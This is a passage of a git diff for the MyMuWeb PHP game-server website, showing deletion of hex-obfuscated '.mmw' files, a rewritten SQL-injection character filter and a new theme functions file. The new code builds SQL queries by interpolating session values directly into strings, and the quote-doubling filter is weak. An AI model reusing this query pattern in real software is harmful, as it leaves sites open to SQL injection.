4A43425F6E47687F23424A7462424A7862414A734742445F274242427B42434B4251414143484F2A737B445C6C4B615B6851414153635D6B6A5143415A4765655F2F283B2F23393364344967476447614B45584832673B4051414366743144584751536973523057795468616C425578514B2F674371455A733B2D477B237834743B6936703C65536B435B45596965517D4A7A7F6D6545395363554134355F6347553B4753554C497034677F2F2C436C4F28493F65336C47486A49453A73655B44503A7377776A6052484649585975494A49673C443136605F2834385B23713F26514F2C677E65366668507369526A45487B486E453B6855623A5E6C4B686755405834384B277E4F26516E6F4F61455C415059427A5C456664676577685F6257673C69417F24724F6247314F674A7B234C4B28447660364F4141414543627B23653B205579596A497F2748327634783C6442363F6E4F4733727F443D4569305F276768425642534B4141477838376F214E424B44574A5D6E6775714B6D686A41595231587B485B6B6A7F64386C485461324871334342664952553153557839426D6432414141736F454575735838336C68374252414A535941443E4979494447414732514140755949625244414D476141497571454F444D4143334C41494A52365A42444144776E41453158335D6252414777664146407F66505A7B41473767414548695A54514341425341614655434C62624151473C6A4B2463494144526B266E614741447146414A6C42395C44474145414B41445A534D64634951474245414D6B4B6A66324541455149434C48645B6032436145434951436C6071517F277F2849724D41467A54514441434C4D4E456241476678414379427774405B286051424D435F2A76434A5A7961454141484A4B454941557155643744583874434565456945517D41495E425E4443575971434146677A7A723538337565705858527F2E426B29383169316A65785437327379694F46376F4B41694B6661423B4F6944437546564D434F6A6F4F4149676968374545555252554365565B646F68676F63515B61594179535B65514439634A4649494558655674754C614964335342567333333A66407056465E6E465E616A684141455742607A523269724849444E4553576143326F6E43326039374161524131544C62345B4141414957707D614547754C41414144537141414D48575942485341414141405467653B62414141494143454141414147653141414765554865535E414141414F67674B4037725F4246596C2436356371626B376E607F2567616D696A3164716467282C62757A346E657F62776B636162622D356C697473702679646C3D0E34647C3D0E32747C3D0E322B303830383038332024696C6F63702870713A3D6F64747F626D227564627F626B303830383038332024696C6F63702870713A34786769627D227564627F626B364646432024696C6F6370287071302A3476656C6D227564627F626B364646432024696C6F63702870713A307F647D227564627F626B383340344434432A346E657F62776B6361626B35647162716075637A356370716C6C6F636D227564627F626B3870713A376E69636160737D227564627F62622D356C69747370256C6261647C3D0E322B36696275637C216D6F68616450247078302A347E6F666B303430343034332024696C6F63702870713A3D6F64747F626D227564627F626B303430343034332024696C6F63702870713A34786769627D227564627F626B383340344434432024696C6F63702870713A3476656C6D227564627F626B383340344434432024696C6F63702870713A307F647D227564627F626B38707034323A307F647B38707032333A3476656C6B34656879666A3E6F696479637F607B3333333A3875646E696D2A722D356C697473702D022567616D69475D4D477F6863722D3469602679646C3D0E356C6974737F2C3D0D7B30302870713D202870713D2020302A3E696762716D6B70276D69602E3021602E30247875645567616D69475D4D477F686373202567616D69475D4D477F6863732D0D7B303036432A327F6C6F636B356E696C6275646E657A3E6F696471627F6365646D247875647B702275667F686A3160247875645567616D69475D4D477F686373202567616D69475D4D477F6863732D0D7B364030332A327F6C6F636B356E696C6275646E657A3E6F696471627F6365646D247875647B702160247875645567616D69475D4D477F686373202567616D69475D4D477F6863732D0E356C6974737C3D0E3D2D202E616C66616650297260203E23302275646E65507F6050226567557D497D402D2D212C3[/mmw] \ No newline at end of file diff --git a/includes/popunder.mmw b/includes/popunder.mmw deleted file mode 100644 index 49d9ffe..0000000 --- a/includes/popunder.mmw +++ /dev/null @@ -1,5 +0,0 @@ -MyMuWeb File By Vaflan compile v1.00329 -======================================= - - -[mmw]e3470796273637f2c3b3922302f20286474696754756376666f6e2922247875647d207f60722824694972447e656d656c654475676e247e656d65736f6468202d2022302f2028647469677e2e6565627363702d302476656c6e256c6974737e29222567616d69677d6d677f6863722824694972447e656d656c654475676e247e656d65736f646e3470796273637c3ade3679646f2c3ade356c6261647f2c3ade32747f2c3020202ade34647f2c3020202020202ade356c6261647f2c3ade32747f2c3020202ade34647f2c3020202020202ade3f3add7b37212478747e2275646e65707f6070256471656273602c256371656c6057202f6863656b7025637c656add7b39272478747e2275646e65707f6077282564657c636e696b702929272478747e2275646e65707f607728256c69666f53796826696adf3c3ade32247875647d207f60722d346960222275647e6563622d3e67696c616024647c3020202020202ade32747c3020202ade322b303030303030332024696c6f6370287071302a327564627f62602b36464646464643202a346e657f62776b636162622d356c697473702220322d376e69646461607c6c6563602220322d376e69636160737c6c6563602225203031322d386474696770256c6261647c3ade322b303830383038332024696c6f6370287071302a327564627f62622d356c6974737022207f64722d3e67696c61667024647c3020202020202ade32747c3020202ade32747f2c3020202ade34647f2c3020202020202ade356c6261647f2c3e32747f2c302ade34647f2c3e316f2c3e322431322d38647769656860222631322d3864746967702220322d327564627f626022276e607e25637f6c636d207f607f237567616d69622d33627370276d696c3e32277f646e69675025637f6c63422d356c647964702225637c6166602e6275747562702b3928287f6265646968622d3b63696c634e6f60222f2f2a3470796273637166716a622d3665627860216c3e322b387072302a3d6f64747f626d276e6964646160702b387072302a34786769627d276e6964646160702b387072302a307f647d276e6964646160722d356c6974737022207f64722d3e67696c616670222478676962722d3e67696c6160222831322d38647469677024647c30202ade34647f2c3e316f2c3275646e655d207f6050226567557d497d4e32256c6479647d207f60722d3373716c6360222b6e616c626f522d34756762716470222f25727e226567757d697d6f2f2a30747478622d3665627860216c3e322476656c622d3e67696c616022276e607e2f676f6c6d207f607f237567616d69622d33627370276d696c3e32203d38636479677377616274622d34757f6563757f6d4e6f6022292567616d69677d6d677f686378237e607f62746f576162746924337e6826696b313d38636479677377616274622d3275667f6563757f6d4e6f602229247e6566756827616274656a796c616964796e69622d3e677f646563757f6d4e6f6022207f64722d3e67696c6166702222716267616274622d34696024647c30202ade32747c3e322b39276e607e20757d207f607f237567616d69682c62757a346e657f62776b636162622d356c697473702220322d376e69646461607c6c6563602220322d376e69636160737c6c6563602225203031322d386474696770256c6261647c302ade32207f64722d3e67696c61667024647c3020202020202ade32747c3020202ade322b303830383038332024696c6f6370287071302a3d6f64747f626d227564627f62602b303830383038332024696c6f63702870713a34786769627d227564627f62602b364646464646432024696c6f6370287071302a3476656c6d227564627f62602b364646464646432024696c6f6370287071302a307f647d227564627f62602b38334034443443202a346e657f62776b636162622d356c697473702220322d376e69646461607c6c6563602222322d376e69636160737c6c656360222275647e6563622d3e67696c6160256c6261647c3ad02e322b303430343034332024696c6f63702870713a3d6f64747f626d227564627f62602b303430343034332024696c6f63702870713a34786769627d227564627f62602b383340344434432024696c6f63702870713a3476656c6d227564627f62602b383340344434432024696c6f63702870713a307f647d227564627f62602b3870703432302a307f64702b3870703233302a3476656c602b3465687966602a3e6f696479637f60722d356c69747370222567616d69677d6d677f6863722d3469602679646c3ade3470796273637f2c3e616c6661667f59726f5470796273637f2f2e32237a6e287f6265647f667f23747079627363722d33627370222470796273637166716a6f24787564722d35607974702470796273637c3ade356c6974737f2c3add7b316d6f686164502a397c696d61666d247e6f66602b347078302a356a79637d247e6f66602b30303030364643202a327f6c6f63602b356e696c6275646e65702a3e6f696471627f6365646d247875647b702275667f686a3160247875647d207f60732add7b316d6f686164502a397c696d61666d247e6f66602b347078302a356a79637d247e6f66602b36464030303033202a327f6c6f63602b356e696c6275646e65702a3e6f696471627f6365646d247875647b702160247875647d207f60732add7b316d6f686164502a397c696d61666d247e6f66602b347078302a356a79637d247e6f66602b30303030303033202a327f6c6f636b70247875647d207f60732add7b356e6f6e602a3e6f696471627f6365646d24787564702b387072302a3476656c6d276e6964646160702b346c6f62602a3478676965677d247e6f66602b316d6f686164502a397c696d61666d247e6f66602b36464646464643202a327f6c6f63602b347078302a356a79637d247e6f666b702275667f686a356c6479647d207f607e216c256c6479647d207f607e216add7b387072302a3476656c6d276e6964646160702b387072302a307f647d276e6964646160702b35667f6d602a327f637275736b7022716267616274632ade322373736f24787564722d3560797470256c6974737c3[/mmw] \ No newline at end of file diff --git a/includes/popunder.php b/includes/popunder.php deleted file mode 100644 index e87142e..0000000 --- a/includes/popunder.php +++ /dev/null @@ -1,35 +0,0 @@ - - -
- - - - - - - -
- - - -
MyMuWeb Pop-Under
-
- - - - -
- -
-
-
- \ No newline at end of file diff --git a/includes/server_file.mmw b/includes/server_file.mmw deleted file mode 100644 index 45644c8..0000000 --- a/includes/server_file.mmw +++ /dev/null @@ -1,4 +0,0 @@ -MyMuWeb File By Vaflan compile v1.00905 -======================================= - -[mmw]E3F302D702D7B32246E656F5569646420212974707D6560256C6966602563716261647164642024727164737F5569646422202F6863656B7025637C65602D702B3D50757F6277642B5D59727F6765647163642B5D5563716261647164642B5D556C69666F5275667275637B5E4F49435355435F54202E6275747562702D702D702D7B3B2B2D657E6F556C696867742B7025637C65602D7B372037202D302D657E6F5264642B702925657274702D3D3029727F67656471636F546E6564282669602D702D702B392274737F5264642C29292729303728236564687568682278636825646F6C607875602D302D5274737F52646F5B63656863642B5D59727F6765647163642B5D5563716261647164642B5D556C69666F5275667275637B5E4F49435355435F54202D7B39213C2274737F52646428227473726573702D302274737F5264642B702929292720323728236564687568682278636D3D39213C203C2274737F52646428227473726573782669602D7B39213C2274737F52646428227473726573702D302274737F5264642B702929292729303728236564687568682278636D3D39213C203C2274737F52646428227473726573782669602B392274737F5264642C272134272C222F2D7C223B79237C582F22282563616C6075627F57656270702D302274737F526464202B70292D657E6F556C696867742D3129727F67656471636F54727164737428266965637C65602D7B35657274702D3029727F67656471636F546E65642B7029272E65672D3D3274737F52646F5B6365686364282669602B70292929727F67656471636F547271647374282475637379682669602D7B3D657E6F556C69686774202D3029727F67656471636F5472716473742B7029263C392274737F526464282E656C6274737026262029727F6765647163642D3D3274737F52646F5B6365686364282669602B392274737F52646F5B63656863642C27272C2929272032372823656468756868227863682563616C6075627F527473702D302274737F52646F5B6365686364202B392274737F52646F5B63656863642C27272C2929272440372823656468756868227863682563616C6075627F527473702D302274737F52646F5B6365686364202B392274737F52646F5B63656863642C27272C2929272930372823656468756868227863682563616C6075627F527473702D302274737F52646F5B6365686364202B39223C203C2274737F52646428227473726573702D302274737F52646F5B6365686364202B3D5D657E6F556C696867742B556371626F526464202D302274737F526464202B70292D657E6F526464202C302D657E6F556C6968677428256C696867702B39256371626F52646428247E657F63602D302D657E6F526464202B3925637162616471646428256C6966602D30256371626F526464202B372037202D302D657E6F556C69686774202B7029292D50757F6277642B5D59727F6765647163642B5D5563716261647164642B5D556C69666F5275667275637B5E4F49435355435F54282974707D65682669602B702920302E302925637162616471646428256A7963756C696660482669602B702920757F6277642C29727F6765647163642C25637162616471646428256C69666F527566727563702E6F6964736E6576602058405F3C3[/mmw] diff --git a/includes/shout_msg.php b/includes/shout_msg.php index afe209a..8af2107 100644 --- a/includes/shout_msg.php +++ b/includes/shout_msg.php @@ -5,73 +5,68 @@ // Made by: Sandbird // //////////////////////////////////////////////////////////////////////////// -function ascii2hex($ascii) { +function ascii2hex($ascii) +{ $hex = ''; for ($i = 0; $i < strlen($ascii); $i++) { - $byte = strtoupper(dechex(ord($ascii{$i}))); - $byte = str_repeat('0', 2 - strlen($byte)).$byte; - $hex.=$byte." "; - } - $hex=str_replace(" ", "", $hex); - return $hex; + $byte = strtoupper(dechex(ord($ascii[$i]))); + $byte = str_repeat('0', 2 - strlen($byte)) . $byte; + $hex .= $byte; // . ' '; + } + return $hex; } -function hex2ascii($hex){ - $ascii=''; - $hex=str_replace(" ", "", $hex); - for($i=0; $i= $y / 2) ? - (($x - ($x % $y)) / $y) + 1 : ($x - ($x % $y)) / $y; + if ($x == 0) return 0; + if ($y == 0) { + error_log('int_int_divide: ' . $x . ', ' . $y); + return false; + } + return ($x % $y >= $y / 2) + ? (($x - ($x % $y)) / $y) + 1 + : ($x - ($x % $y)) / $y; } function send_gm_msg($host, $port, $msg) -{ - $header = "C144A10024000000"; // Starting header of the message - $msglength = strlen($msg); // Length of message +{ + $header = 'C144A10024000000'; // Starting header of the message + $msgLength = strlen($msg); // Length of message + + if ($msgLength < 34 && $msgLength != 0) { // Starting calculations to divide the message box so the message looks centerd + $divisor = (34 - $msgLength); + $start_space = int_int_divide($divisor, 2); -if ($msglength < 34 && $msglength != 0){ // Starting calculations to divide the message box so the message looks centerd - $divisor = (34 - $msglength); - $start_space = int_int_divide($divisor , 2); - - for ($i=0;$i<=$start_space;$i++){ - $header .= "20"; - } - $header .= ascii2hex($msg); // Insert the message in the packet - - for ($j=0;$j<=($divisor-$start_space);$j++){ - $header .= "20"; - } -}else{ // If the message is longer that 64 chars no need for spaces + $header .= str_repeat('20', $start_space + 1); + $header .= ascii2hex($msg); // Insert the message in the packet + $header .= str_repeat('20', ($divisor - $start_space) + 1); + } else { // If the message is longer than 64 chars no need for spaces $header .= ascii2hex($msg); // Insert the message in the packet if msg > 34 - } + } + + $header .= '00BED3410000F8BBB90400000000FCBBB904A4FF1A06F8F04100FFFFFFFF'; // Remainding header + $packet = hex2ascii($header); // Convert the whole string to ascii + $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - $header .= "00BED3410000F8BBB90400000000FCBBB904A4FF1A06F8F04100FFFFFFFF"; // Remainding header - $packet = hex2ascii($header); // Convert the whole string to ascii - $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - - if (!$x = @socket_connect($socket, $host, $port)) // attempt to connect - { - echo "No access to the Joinserver or Server is down."; - } - else - { - socket_write($socket, $packet , strlen($packet)); // Send the packet to the Joinserver - socket_close($socket); // Close connection (i dont know if this is needed or not). - } -return "yes"; + if (!@socket_connect($socket, $host, $port)) // attempt to connect + { + echo 'No access to the JoinServer or service is down.'; + } else { + socket_write($socket, $packet, strlen($packet)); // Send the packet to the JoinServer + socket_close($socket); // Close connection (I don't know if this is needed or not). + } + return true; } -// If you want to post the message from another page then remove the // from the line below -// and add them on the other line. If you dont know how to do that then if your page is -// located for example at http://website.com/shout.php -// just write this at the header: http://website.com/shout.php?msg=And put your msg here. -// send_msg("127.0.0.1", "55970", $msg); -?> \ No newline at end of file +// send_msg('127.0.0.1', '55970', $msg); diff --git a/includes/sql_check.php b/includes/sql_check.php index 8a5db41..89d0c7e 100644 --- a/includes/sql_check.php +++ b/includes/sql_check.php @@ -1,116 +1,57 @@ -SQL Injection Detected - Make sure only to use letters and numbers!\n
\nIP: ".$_SERVER['REMOTE_ADDR'].""); - } - else - { - $check = preg_split("//", $value, -1, PREG_SPLIT_OFFSET_CAPTURE); - foreach($check as $char) - { - if(in_array($char, $badchars)) - { - die("SQL Injection Detected - Make sure only to use letters and numbers!\n
\nIP: ".$_SERVER['REMOTE_ADDR']."
"); - } - } - } - } - } -function clean_variable($var) { - $newvar = preg_replace('/[^a-zA-Z0-9\_\-]/', '', $var); - return $newvar; + $value) { + $str[$id] = secure($value); + } + } else { + $str = xw_sanitycheck($str); + } + + return $str; } - - - - - -// Onter Anti-SQL Injection from MuWeb.org - -function xw_sanitycheck($str){ - if(strpos(str_replace("''","","$str"),"'")!=false) - return str_replace("'", "''",$str); - else - return $str; -} - -function secure($str){ - // Case of an array - if (is_array($str)) { - foreach($str AS $id => $value) { - $str[$id] = secure($value); - } - } - else - $str = xw_sanitycheck($str); - - return $str; -} - // Get Filter -$xweb_AI = array_keys($_GET); -$i=0; -while($i \ No newline at end of file diff --git a/includes/theme.mmw b/includes/theme.mmw deleted file mode 100644 index 082b18b..0000000 --- a/includes/theme.mmw +++ /dev/null @@ -1,4 +0,0 @@ -MyMuWeb File By Vaflan compile v1.00905 -======================================= - -[mmw]E3F302D702B3C627574202E6275747562702D7B32236273742F237567616D6962202D302C6275742B7025637C65602D7B32236273742F2D576D696F556D6568647B577D6D6422202D302C6275742B70292922236273742F2D576D696F556D6568647B577D6D642228256C69666F5379682669602B377D6D64202C61626F6C67602B70292362737428276D696F547C6571666564602E6F6964736E6576602D702D702B322E3D627F666F2C3E3473656C65637F2C30256D6568647F5473656C656374202D627F666F556D6568647422202F686365602B322E37222E256D6568647F576E616C6F577D6D6E22272D356C64796470272B392824796D6265737E256D6568647E247E656D65736F64672D35676E6168634E6F6027256D6568647F547563772D356D616E602473656C65637C3E37272D3E6F69647361602724737F60772D346F6864756D6027256D656864772D356D616E602D627F666C32202D302D627F666F556D65686474202D702B322E3E6F6964707F6F2C322E2D513B5D59642B556D656864742E222E3473656C6563742027222E2D503B5D59642B556D656864742E22272D35657C6166702E6F6964707F6C32202D3E20256D6568647F5473656C656374202D7B32222D3473656C6563742B75637C65602D7B3224656473656C6563722D3473656C6563742B792D503B5D59642B556D656864742D3D3D556D6568647B5E4F49435355435F54282669602B702929642B2B202B39256D6568647428247E657F63602C302964202B303D396428227F66602B39222078607E256D6568647F237564657C636E6962282564657C636E69602B7025637C65602D702B322E3D627F666F2C3E3473656C65637F2C30256D6568647F5473656C656374202D627F666F556D6568647422202F686365602B322E37222E256D6568647F576E616C6F577D6D6E22272D356C64796470272B392824796D6265737E256D6568647E247E656D65736F64672D35676E6168634E6F6027256D6568647F547563772D356D616E602473656C65637C3E37272D3E6F69647361602724737F60772D346F6864756D6027256D656864772D356D616E602D627F666C32202D302D627F666F556D65686474202D702B392864642822796465637F6C63602B39222078607E2F666E696F2D556D6568647B577D6D642279646422282564657C636E69602D702D702B322E3E6F6964707F6F2C3D556D616E6F5D68647B577D6D642E3473656C6563742027256C696664272D35657C6166702E6F6964707F6C32202D3E20256D6568647F5473656C656374202D7B32222D3473656C6563742B75637C65602D7B3224656473656C6563722D3473656C6563742B79256C6966642D3D3D556D6568647B5E4F49435355435F54282669602B39222078607E2F666E696F256C6966642279646422282564657C636E69602B7029272E2E27202D3120256C69666420262620272E27202D3120256C696664202626202722796467202D3D302560797474282669602B39256C6966642E227964642825607974756C6966602D302560797474202B702925637C6166602D3D312029292864642822796464616562702D30256C696664282820256C696867702B70292922796464282279646E65607F602D30286464282669602B322F23756D65686472202D3022796464202B7029272F64757167202D3D302D5473796C6F53756D6568647B577D6D64282669602B377D6D64202C61626F6C67602B702928256D656864702E6F6964736E6576602D702B3922246E656F5569646F5C61737420247C657375627F556D656864742024727164737F5569646F5C6173742228256964602B322E396F2C3D5E6F6964707962736375646F5D68647B577D6D642E396C32202D3E20247C657375627F556D65686474202B322E32726C3D556471646F5D68647B577D6D64202A3564716442202D3E20247C657375627F556D65686474202B322E32726C3D5E6F69637275667F5D68647B577D6D64202A3E6F696372756652202D3E20247C657375627F556D65686474202B322E32726C3D527F64716562736F5D68647B577D6D64202A327F647165627342202D3E20247C657375627F556D65686474202B322E32726C3D556D616E6F5D68647B577D6D64202A356D616E40256D65686452202D30247C657375627F556D65686474202B702927256D656864772D3D3D507F6B5455474F54282669602D702B3922246E656F5569646F5C61737420247C657375627F5972642024727164737F5569646F5C6173742228256964602D702B322E326F2C312C6566756C60227F6471627473796E696D64614025667168402D5363616B5455474F5420277F6E4E326C32202D3E20247C657375627F597264202B392227263636372D312375747164737F577D6D60244E4140272D5363616B5455474F54272D34696F5F5F526D656D60254255484750272031372D3375747164737F577D6D60245543502F464E494F524D454D40254451444055522829727565717F5C6173737D602B3922272031372D3375747164737F577D6D60244E4140272D5363616B5455474F54272D34696F5F5F526D656D6025425548475027263636372D3375747164737F577D6D60245543502F464E494F524D454D40254451444055522829727565717F5C6173737D602B7029272169353830336035356336303466383635323262393261693663673360333264372D3D392D57707B5455474F542825346D60262620292D5363616B5455474F54282475637379682669602B322E32726C3E316F2C35725E226567557D497D4E2777777E372F25727E226567757D697D6E2777777F2F2A30747478672D3665627860216C302A3567616050256D6F6842202D3E20247C657375627F597264202B322E32726C322E292D54656C6C6164737E696B577D6D642C22237A396A3840295E2D6E246228256471646E22202A34656C6C6164737E6942202D3E20247C657375627F597264202B322E32726C3E616C666166502972402D5E6F69637275667B577D6D6420226567557D497D42202D30247C657375627F597264202B39272078607E24656C6C6164737E696F237564657C636E6967282564657C636E69602B7029272972672D3D3D507F6B5455474F54282669602D702B3922246E656F5569646F5C61737420212E326F2C3F23756D6568647E326C302E69602E326F2C3078607E2F666E696F2D556D6568647B577D6D642E326C30246E696660247E61634E32726C31256D65686450225F6272754024727164737F5569646F5C6173742228256964602B392D556D6568647B5E4F49435355435F54282475637E65702B7025637C65602D702B32276D696F2D556D6568647B577D6D642F23756D65686472202D302D576D696F556D6568647B577D6D64202B322D556D6568647B577D6D642F23756D65686472202D302D5279646F556D6568647B577D6D64202B702929222078607E2F666E696F2D556D6568647B577D6D642F23756D6568647228256C69666F5379682669602058405F3C3[/mmw] diff --git a/includes/theme.php b/includes/theme.php deleted file mode 100644 index 883757d..0000000 --- a/includes/theme.php +++ /dev/null @@ -1,14 +0,0 @@ - \ No newline at end of file diff --git a/includes/theme_functions.php b/includes/theme_functions.php new file mode 100644 index 0000000..7659a33 --- /dev/null +++ b/includes/theme_functions.php @@ -0,0 +1,631 @@ +' . $name . ''; + } + } + closedir($dh); + } + + echo << + + +HTML; +} +/////// End Language /////// + + +/////// Start Theme /////// +function theme() +{ + global $mmw; + $theme = mmw_lang_theme; + $themeList = ''; + if ($mmw['themes_auto']) { + $dir = 'themes/'; + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + $type = filetype($dir . $file); + if ($type === 'dir' && $file !== '.' && $file !== '..') { + include $dir . $file . '/info.php'; + $selected = ($mmw['theme'] === $file) + ? ' selected' + : ''; + $themeList .= ''; + } + } + require $dir . $mmw['theme'] . '/info.php'; + closedir($dh); + } + } else { + foreach ($mmw['themes'] as $row) { + $selected = ($mmw['theme'] === $row[0]) + ? ' selected' + : ''; + $themeList .= ''; + } + } + echo << + + +HTML; +} +/////// End Theme /////// + + +/////// Start Menu ////// +function menu($style = null) +{ + global $mmw; + if (!isset($mmw['menu'])) { + require_once __DIR__ . '/menu.php'; + } + + if (empty($style)) { + $style = '$2
'; + } + + foreach ($mmw['menu'] as $i => $row) { + $replace = str_replace( + array('%id%', '%name%', '%url%'), + array($i, $row[0], $row[1]), + $style + ); + echo preg_replace( + '/\[url=(.*)]\[name=(.*)]/is', + $replace, + '[url=' . $row[1] . '][name=' . $row[0] . ']' + ) . PHP_EOL; + } +} +/////// End Menu /////// + + +/////// Start Login Form /////// +function login_form() +{ + global $mmw, $rowbr; + if (isset($_SESSION['user'])) { + /* Select Account information */ + $accountQuery = mssql_query("SELECT memb_name AS name, avatar FROM dbo.MEMB_INFO WHERE memb___id='{$_SESSION['user']}'"); + $accountInfo = mssql_fetch_assoc($accountQuery); + if (empty($accountInfo['name'])) { + $accountInfo['name'] = $_SESSION['user']; + } + if (empty($accountInfo['avatar'])) { + $accountInfo['avatar'] = default_img('no_avatar.jpg'); + } + + /* Select Char */ + $characterQuery = mssql_query("SELECT name FROM dbo.Character WHERE AccountID='{$_SESSION['user']}'"); + $setCharacter = ''; + if (mssql_num_rows($characterQuery)) { + $setCharacter = '
'; + } + + /* Mail Check */ + if ($mmw['inner_mail']) { + $msg = mssql_query("SELECT + fmail.bRead + FROM dbo.T_FriendMain AS fmain + JOIN dbo.T_FriendMail AS fmail ON fmail.GUID = fmain.GUID + WHERE fmain.Name='{$_SESSION['character']}'"); + $msg_num = mssql_num_rows($msg); + $msg_new_num = 0; + if (!empty($msg_num)) { + while ($msg_row = mssql_fetch_row($msg)) { + if (empty($msg_row[0])) { + $msg_new_num++; + } + } + } + $msg_full = ($mmw['private_message']['num'] <= $msg_num) + ? 'Full!' + : ''; + } + + /* End Form */ + require __DIR__ . '/acc_menu.php'; + if ($msg_new_num > 0) { + echo ''; + } + } else { + /* No Login */ + $language = array( + 'account' => mmw_lang_account, + 'password' => mmw_lang_password, + 'lost_pass' => mmw_lang_lost_pass, + 'login' => mmw_lang_login, + ); + + echo << + + {$language['account']}
+
+ {$language['password']}
+
+ {$language['lost_pass']} + +HTML; + } +} +/////// End Login Form /////// + + +/////// Start Online Char /////// +function who_online($return = false) +{ + global $mmw; + $timeout = time() - $mmw['timeout_online']; + $query = mssql_query("SELECT + c.name, + c.CtlCode + FROM dbo.MMW_online AS o + LEFT JOIN dbo.Character AS c ON c.name COLLATE DATABASE_DEFAULT = o.online_char COLLATE DATABASE_DEFAULT + WHERE o.online_date > '{$timeout}'"); + + $guestsCount = 0; + $characterList = array(); + $totalOnWeb = mssql_num_rows($query); + if ($totalOnWeb) { + while ($row = mssql_fetch_row($query)) { + if (empty($row[0])) { + $guestsCount++; + } else { + $characterList[] = '' . $row[0] . ''; + } + } + } else { + $characterList[] = mmw_lang_there_is_nobody; + } + $whoOnline = mmw_lang_total_on_web . ': ' . $totalOnWeb + . '
' . mmw_lang_total_guest . ': ' . $guestsCount + . '
' . mmw_lang_total_accounts . ': ' . count($characterList) + . '
' . implode(', ', $characterList); + + if (empty($return)) { + echo $whoOnline; + } + return $whoOnline; +} + +/** @deprecated Support 0.7 */ +$who_online = who_online(true); +/////// END Online Char /////// + + +/////// Start Last in Forum /////// +function last_in_forum($top = null) +{ + global $mmw; + if (empty($top)) { + $top = $mmw['last_in_forum']; + } + $result = mssql_query("SELECT TOP {$top} f_id, f_title, f_text FROM dbo.MMW_forum ORDER BY f_date DESC"); + $forum_post = mssql_num_rows($result); + if (empty($forum_post)) { + echo mmw_lang_no_topics_in_forum; + } else { + $index = 1; + while ($row = mssql_fetch_row($result)) { + $row[2] = htmlentities($row[2]); + echo "{$index}. {$row[1]}
" . PHP_EOL; + $index++; + } + } +} +/////// END Last in Forum /////// + + +/////// Start Voting /////// +function voting($return = false) +{ + global $mmw; + $votingIndicator = ($mmw['votes_check'] === 'acc') + ? (isset($_SESSION['user']) ? $_SESSION['user'] : null) + : $_SERVER['REMOTE_ADDR']; + + $query = mssql_query("SELECT TOP 1 ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM dbo.MMW_votemain ORDER BY NEWID()"); + if ($row = mssql_fetch_row($query)) { + $voteList = array(1 => 0, 2 => 0, 3 => 0, 4 => 0, 5 => 0, 6 => 0); + $alreadyVoted = 0; + $queryRows = mssql_query("SELECT who, answer FROM dbo.MMW_voterow WHERE id_vote='{$row[0]}'"); + $totalNumberVotes = mssql_num_rows($queryRows); + while ($answerRow = mssql_fetch_row($queryRows)) { + if ($answerRow[0] === $votingIndicator) { + $alreadyVoted = $answerRow[1]; + } + $voteList[$answerRow[1]]++; + } + + $voting = '
' . $row[1] . '
'; + for ($index = 1; $index < 7; $index++) { + $answerLabel = $row[$index + 1]; + if (!empty($answerLabel)) { + if (!empty($votingIndicator) && empty($alreadyVoted)) { + $voting .= '
'; + } else { + $voteCount = $voteList[$index]; + $img_file = default_img('bar.jpg'); + $size = @getimagesize($img_file); + $img_width = ($voteCount > 0) ? ceil(100 * $voteCount / $totalNumberVotes) : 1; + $voting .= '
' . $index . '. ' . $answerLabel . ' (' . $voteCount . ')
'; + $voting .= '
bar
'; + } + } + } + + $voting .= '
'; + if (!empty($votingIndicator) && empty($alreadyVoted)) { + $voting .= ''; + } else { + $voting .= mmw_lang_all_answers . ': ' . $totalNumberVotes . ''; + } + $voting .= '
'; + } else { + $voting = mmw_lang_no_vote; + } + + if (empty($return)) { + echo $voting; + } + return $voting; +} + +/** @deprecated Support 0.7 */ +$voting = voting(true); +/////// END Voting /////// + + +/////// Start Statisitcs /////// +function statisitcs($style = 'default') +{ + global $mmw, $back_color, $text_color; + + if ($style === 'cscw') { + $dataCSCW = mssql_fetch_assoc( + mssql_query("SELECT CASTLE_OCCUPY, OWNER_GUILD FROM dbo.MuCastle_DATA") + ) ?: array(); + try { + $dataCW = mssql_fetch_assoc( + mssql_query("SELECT CRYWOLF_OCCUFY FROM dbo.MuCrywolf_DATA") + ); + $dataCSCW += $dataCW ?: array(); + } catch (Exception $ignored) { + // Do nothing + } + + $dataCSCW['CASTLE_OCCUPY'] = empty($dataCSCW['CASTLE_OCCUPY']) + ? 'Not captured' + : 'Captured'; + + $dataCSCW['OWNER_GUILD'] = empty($dataCSCW['OWNER_GUILD']) + ? 'No Guild' + : '' . $dataCSCW['OWNER_GUILD'] . ''; + + $dataCSCW['CRYWOLF_OCCUFY'] = empty($dataCSCW['CASTLE_OCCUPY']) + ? 'Captured' + : 'Protected'; + + echo 'Castle Siege: ' . $dataCSCW['CASTLE_OCCUPY'] . '
' . PHP_EOL + . 'Owner Guild: ' . $dataCSCW['OWNER_GUILD'] . '
' . PHP_EOL + . 'Cry Wolf: ' . $dataCSCW['CRYWOLF_OCCUFY']. '
' . PHP_EOL; + return true; + } + + $withoutGM = !empty($mmw['gm_show']) + ? ' WHERE CtlCode < 8' + : ''; + + $activeDate = date('Ymd', strtotime('-1 month')); + $query = mssql_query("SELECT + count(*) AS total, + (SELECT count(*) AS total FROM dbo.MEMB_INFO WHERE bloc_code=1) AS total_blocked, + (SELECT count(*) FROM dbo.Character {$withoutGM}) AS total_characters, + (SELECT count(*) FROM dbo.Guild WHERE G_Name!='{$mmw['gm_guild']}') AS total_guilds, + (SELECT count(*) FROM dbo.MEMB_STAT WHERE ConnectTM>='{$activeDate}') AS account_active, + (SELECT count(*) FROM dbo.MEMB_STAT WHERE ConnectStat=1) AS account_online + FROM dbo.MEMB_INFO"); + $data = mssql_fetch_assoc($query); + + $total_accounts = $data['total']; + $total_banneds = $data['total_blocked']; + $total_characters = $data['total_characters']; + $total_guilds = $data['total_guilds']; + $actives_acc = $data['account_active']; + $users_connected = $data['account_online']; + + $serverQuery = mssql_query("SELECT + mmw_s.Name, + mmw_s.experience, + mmw_s.drops, + mmw_s.gsport, + mmw_s.ip, + mmw_s.version, + mmw_s.type, + mmw_s.maxplayer, + ms.total_online + FROM dbo.MMW_servers AS mmw_s + LEFT JOIN (SELECT ServerName, count(ServerName) AS total_online FROM dbo.MEMB_STAT WHERE ConnectStat=1 GROUP BY ServerName) AS ms + ON ms.ServerName COLLATE DATABASE_DEFAULT = mmw_s.Name COLLATE DATABASE_DEFAULT + ORDER BY mmw_s.display_order"); + $server = array(); + if (empty($_ENV['mmw_cache']['server_cache']) || $_ENV['mmw_cache']['server_cache']['timeout'] + 